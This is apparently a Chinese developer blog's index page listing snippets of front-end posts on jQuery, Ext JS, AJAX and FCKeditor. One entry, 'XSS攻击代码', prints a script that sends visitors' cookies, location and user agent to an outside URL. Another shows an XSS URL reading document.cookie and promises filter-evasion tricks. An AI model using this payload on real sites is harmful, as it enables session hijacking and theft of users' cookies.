HTML+CSS+JS/JQUERY
墨子哲
感兴趣方向WEB架构,大数据,人工智能
展开
-
js字符串数组互转
数组转字符串:var arr = [74,85,49,0,50,0,51,0];str = arr.join(",");字符串转数组var str = "abc,abcd,aaa";arr = str.split(",");原创 2012-02-13 10:29:58 · 1173 阅读 · 0 评论 -
JQUERY插件学习之jQuery UI
jQuery UI:http://jqueryui.com/jQuery UI介绍:jQuery UI 是以 jQuery 为基础的开源 JavaScript 网页用户界面代码库。包含底层用户交互、动画、特效和可更换主题的可视控件。我们可以直接用它来构建具有很好交互性的web应用程序。所有插件测试能兼容 IE 6.0+, Firefox 3+, Safari 3.1+, Oper原创 2012-06-18 10:53:32 · 6044 阅读 · 1 评论 -
jquery ajax post 的区别
$.ajax({ type:"post", url:"", data:{key:val}, dataType:"json", success: function aa(data) { } }); $.post("原创 2012-08-08 14:43:27 · 620 阅读 · 0 评论 -
jquery.fn.extend与jquery.extend
jQuery为开发插件提拱了两个方法,分别是:JavaScript代码jQuery.fn.extend(object); jQuery.extend(object); jQuery.extend(object); 为扩展jQuery类本身.为类添加新的方法。jQuery.fn.extend(object);给jQuery对象添加方法。fn 是什么东西呢。查看原创 2012-08-17 10:47:00 · 570 阅读 · 0 评论 -
比较html5、GML、SVG、VML
web图形方案比较html5、GML、SVG、VMLGML、SVG和VML都是基于XML的可用来描述矢量图形的标记语言,都是XML词表,它们的语法并不难理解,但它们都有各自不同的用途和特点,下面简单介绍一下。GML(Geography Markup Language)是基于XML的空间信息编码标准,由OpenGIS Consortium (OGC)提出,得到了许多公司的大力原创 2012-11-01 18:46:54 · 906 阅读 · 0 评论 -
jQuery异步提交form表单
jQuery异步提交form表单 这个其实挺简单的,只是一开始我想错了,一开始我打算用jQuery +jQuery.form插件来做,其实不必的,只需要jQuery插件就可以了。首先,在jsp页面中导入jQuery,/js/jquery-1.4.2.js">然后在jQuery的ready方法中定义form提交时的动作就可以了,$(document).ready(func原创 2012-12-02 23:23:39 · 61158 阅读 · 2 评论 -
JS的trim()方法
-------------------------------------------------------js去空格-----------------------------------------------------------------去除字符串左右两端的空格,在vbscript里面可以轻松地使用 trim、ltrim 或 rtrim,但在js中却没有这3个内置方法,需要手工编写原创 2012-12-25 13:20:13 · 597 阅读 · 0 评论 -
最全的HTTP头部信息分析
[-]http 头信息详解XMLHttpRequest备注XMLHttpRequest成员属性方法onreadystatechange语法备注readyState语法备注responseBody语法备注responseStream语法备注responseText语法备注responseXML语法转载 2012-12-27 14:57:33 · 3207 阅读 · 0 评论 -
深入浅出JSONP--解决ajax跨域问题
取不到数据! 上周客户新买了服务器,原本在旧的服务器上放着客户的Web主页信息和一个后台程序(asp.net),在客户的主页中有一个动态显示最新消息的处理,这个处理就是通过ajax异步从那个后台程序中取得的。由于又购买了新的服务器,客户想把web主页和那个后台程序分开来,后台程序被部署到了新的服务器上。不过这个项目是我的同事小福同志开发的,也就由他来把程序分开部署,然后进行一些小改动。原创 2013-06-03 09:25:19 · 738 阅读 · 0 评论 -
javascript获取浏览器宽度和高度
测试浏览器及版本:IE8、FF5、Chrome12屏幕分辨率:1366 x 768文档声明:http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">http://www.w3.org/1999/xhtml"> 1.获取屏幕分辨率(所有浏览器一致):屏幕横向分辨率:window.screen.width 1366原创 2013-06-07 15:56:09 · 6790 阅读 · 0 评论 -
a标签 AJAX调用BUG
今天碰到一个悲催的问题,火狐,谷歌,IE8没事,IE6下面死活不对场景:获取A标签ID,然后AJAX调用服务器程序,调用服务器程序返回200,但是不走SUCCESS逻辑,直接奔ERROR逻辑,报出PARSE ERROR错误。发生原因:因为A标签场景,执行完成AJAX事件后,又执行A标签链接事件,AJAX把A标签事件当作错误,所以直接走ERROR逻辑,导致程序不能正常执行。原创 2013-06-20 18:44:14 · 3009 阅读 · 0 评论 -
$ is not a function
今天做项目,报错$ is not a function,确认已经加载了jquery文件问题原因:加载了另外一个插件,也是使用$符号,所以使用jquery的时候,使用了jquery.noconflict,但是$不能用了.解决方案:使用jquery闭包,将jQuery作为参数传到闭包里面,然后就可以在闭包中使用$为jquery的,闭包外使用$为另外一个插件的。jqu原创 2013-06-21 15:33:16 · 914 阅读 · 0 评论 -
JavaScript事件
JavaScript事件(Event)一、事件流1、事件冒泡 事件沿DOM树向上传播2、事件捕获 事件到达预定目标之前被捕获3、DMO2级事件 事件捕获阶段,处于目标阶段,事件冒泡阶段二、事件处理程序格式:on + "事件名"1、HTML事件原创 2013-07-29 19:16:49 · 687 阅读 · 0 评论 -
stopPropagation, preventDefault 和 return false 的区别
因为有父, 子节点同在, 因为有监听事件和浏览器默认动作之分. 使用 JavaScript 时为了达到预期效果经常需要阻止事件和动作执行. 一般我们会用到三种方法, 分别是stopPropagation(), preventDefault() 和 return false. 它们之间有什么区别, 该何时使用呢? 将在本文中进行讲解.术语监听事件, 在在节点上能被监听的页面操作. 如原创 2013-07-29 11:19:53 · 850 阅读 · 0 评论 -
XSS攻击代码
var img=document.createElement("img");img.src="http://myurl.com/send.php?location="+escape(document.location)+'&cookie='+escape(document.cookie)+'&agent='+escape(window.navigator.userAgent);document.b原创 2014-01-06 10:29:27 · 918 阅读 · 0 评论 -
你不知道的JavaScript用法,Hacker是这样写JS的
注* XSS攻击即Cross Site Scripting,通常在网页链接地址Url中注入JS代码来达到攻击手段,很多大厂都中过招,如:Twitter,新浪微博,示例代码:http://www.demo.cn/=alert(document.cookie) 其实此代码并不能在所有浏览器上执行,但仅需要一部分浏览器(如IE6)可用,即可达到攻击效果。目前很多网站都有自动过滤XSS代码的功能,此文即介原创 2014-01-21 19:02:33 · 991 阅读 · 0 评论 -
JQUERY注意问题之ie8 post缓存
1.设置AJAX,不存缓存 $.ajaxSetup ({ cache: false //关闭AJAX相应的缓存 });2.POST的URL加上随机参数3.这个方法我试过了,但不知道为什么不管用。网页上加上原创 2012-06-19 18:16:06 · 3658 阅读 · 0 评论 -
CSS滚动条颜色(IE支持,火狐不支持)
注:火狐的话,可以用JS方法来实现SCROLLBAR-FACE-COLOR: #CCCCC3;SCROLLBAR-SHADOW-COLOR: #CCCCC3;SCROLLBAR-HIGHLIGHT-COLOR: #CCCCC3;SCROLLBAR-3DLIGHT-COLOR: #CCCCC3;SCROLLBAR-DARKSHADOW-COLOR: #CCCCC3原创 2012-05-25 14:26:30 · 2546 阅读 · 0 评论 -
JQUERY插件学习之jqPlot
JS图表,有HighCharts、JqPlot、JsChart,其中HighCharts和JsChart只能用作个人使用、为了以后项目中能使用,在这用了JqPlot(个人和商业都免费),先学习下。 关于JqPlot的下载可以去:www.jqplot.com/ 关于JqPlot的详细中文配置参考:http://blog.csdn.net/gaoyusi4964238原创 2012-06-15 13:06:38 · 23859 阅读 · 5 评论 -
JQUERY UI DIALOG
$(function (){ $( "#dialog" ).dialog({ autoOpen: false, height: 675, width: 1050, modal: true, title:"IP 列表", buttons: { "提交原创 2012-02-21 16:00:00 · 747 阅读 · 0 评论 -
JS常用语法,函数积累
等待原创 2012-02-14 15:11:50 · 707 阅读 · 0 评论 -
JS打印
New Document var hkey_root,hkey_path,hkey_keyhkey_root="HKEY_CURRENT_USER"hkey_path="\\Software\\Microsoft\\Internet Explorer\\PageSetup\\"//设置网页打印的页眉页脚为空function pagesetup_null(){转载 2012-02-19 17:16:31 · 523 阅读 · 0 评论 -
JQUERY基本语法
选择器事件效果文档操作属性CSSAJAX遍历数据DOM元素核心原创 2012-02-14 11:30:12 · 434 阅读 · 0 评论 -
EXT框架
var win = new Ext.Window({ title: '', closable:false, //width:985, //height:650, resizable:true, AutoScroll:true,原创 2012-03-15 15:35:39 · 1048 阅读 · 0 评论 -
EXT框架之Ext.tree.TreePanel
var window = SearchWindow.init({});window.show(this);var SearchWindow = function(urls){ return { urls : {}, store : null, searchDataPanel: null, init : function(urls) { th原创 2012-03-16 13:56:16 · 1516 阅读 · 0 评论 -
EXT组件大全
Ext.grid.GridPanel原创 2012-03-21 14:28:00 · 784 阅读 · 0 评论 -
php fckeditor配置
php果然简单好学,就连配置FCKEditor都如此轻松,本来是打算花一到两个小时配置完成它就不错了,没想到从下载最新版本到配置成功也就不到半小时.想起当年在java下配置FCKEditor时那个艰辛...... 下面记录下配置方法,把下载下来的zip文件解压到php网站的根目录下,默认文件夹名是"fckeditor" 在需要加入编辑器的页面里面引用fckeditor/fcke原创 2012-05-08 14:31:28 · 659 阅读 · 0 评论 -
php fckeditor 上传文件(或图片)中文显示为乱码的解决方法(两种方法)
中文名乱码是因为:FCKeditor使用UTF-8编码,自己机子比如是Windows系统文件名使用的是GBK编码,在上传中需要,改下编码,从UTF-8到GBK第一种(推荐)个人认为第一种方法还是蛮好的!转码思路,要修改两个文件,第一个文件:.\fckeditor\editor\filemanager\connectors\php\commands.php 文原创 2012-05-14 19:30:08 · 857 阅读 · 0 评论 -
研究网页栅格系统
研究网页栅格系统前,来看一组数据:网站首页页面宽度 pxYahoo!950淘宝950MySpace960新浪950网易960Live Search958搜狐950优酷960AOL960上面列举的都是Alexa全球排名前1转载 2012-05-19 01:39:38 · 681 阅读 · 0 评论 -
如何摆脱菜鸟界面(二)
在前面的《如何摆脱菜鸟界面(一)》中我们展示了菜鸟界面与大鸟界面的区别,这里我们来讲解如何摆脱菜鸟界面。 我们大家都知道菜鸟跟大鸟们的差距不是一天两天就能消除的,我们首先需要做的就是使自己的界面摆脱菜鸟级的水平。 摆脱菜鸟界面第一步,要有自己的设计原则。 这点是很重要的,作为一个设计人员,我们必须要有自己的设计原则或者说设计风格,比如有人注重特效,有人看重精简操作,例转载 2012-06-11 18:14:18 · 563 阅读 · 0 评论 -
Div与Table,我们应正确对待
近日,在着手做界面原型的设计,其中在div与table的选择上,我是换来又换去,于是对二者进行了一下比较。 我的观点是两者没有好与坏的区别,而是各有所长。 在这个极度推崇div+css的时代,人们对于table有了一些偏,就我个人而言,我觉得两者是各有优点。 从用途上来说,div用于布局,table用于显示数据。 当然div不仅仅用于布局,也可以用来显示数据转载 2012-06-11 18:15:45 · 1702 阅读 · 0 评论 -
如何摆脱菜鸟界面(一)
最近这段时间一直在做一个项目的web界面,在这段期间,经历了心理和技术上的考验,而事实也证明我还只是一个“菜鸟”,但是通过这次经验,知道了菜鸟与大鸟的区别,今天就来跟大家一起分享一下,如何摆脱一看就能被戳穿的菜鸟界面。 本文中所谓的菜鸟界面即我这些天的经历,通过多次被上司指正,多次的修改,最终界面才可以入眼。 你是否也设计过类似下面的界面? 菜鸟界面一:“转载 2012-06-11 18:13:29 · 879 阅读 · 0 评论 -
JQUERY学习之选择器大全
选择器是jQuery最基础的东西,本文中列举的选择器基本上囊括了所有的jQuery选择器,也许各位通过这篇文章能够加深对jQuery选择器的理解,它们本身用法就非常简单,我更希望的是它能够提升个人编写jQuery代码的效率。本文配合截图、代码和简单的概括对所有jQuery选择器进行了介绍,也列举出了一些需要注意和区分的地方。一、基本选择器1. id选择器(指定id元素)将i转载 2012-06-12 10:30:27 · 735 阅读 · 0 评论 -
JQUERY插件学习之Flexigrid(类似EXT Gird)
Flexgrid:http://flexigrid.info/Flexigrid是一个类似于Ext Gird,但基于jQuery开发的Grid。它具有的功能包括:可以调整列宽,合并列标题,分页,排序,显示/隐藏表格等。Flexigrid显示的数据能够通过Ajax获取或者从一个普通的表格转换原创 2012-06-15 17:56:24 · 1436 阅读 · 0 评论 -
前端几个JS库
今天了解AMD规范seajs,requirejs,commonjs,dojo,原创 2014-11-24 18:33:10 · 1371 阅读 · 0 评论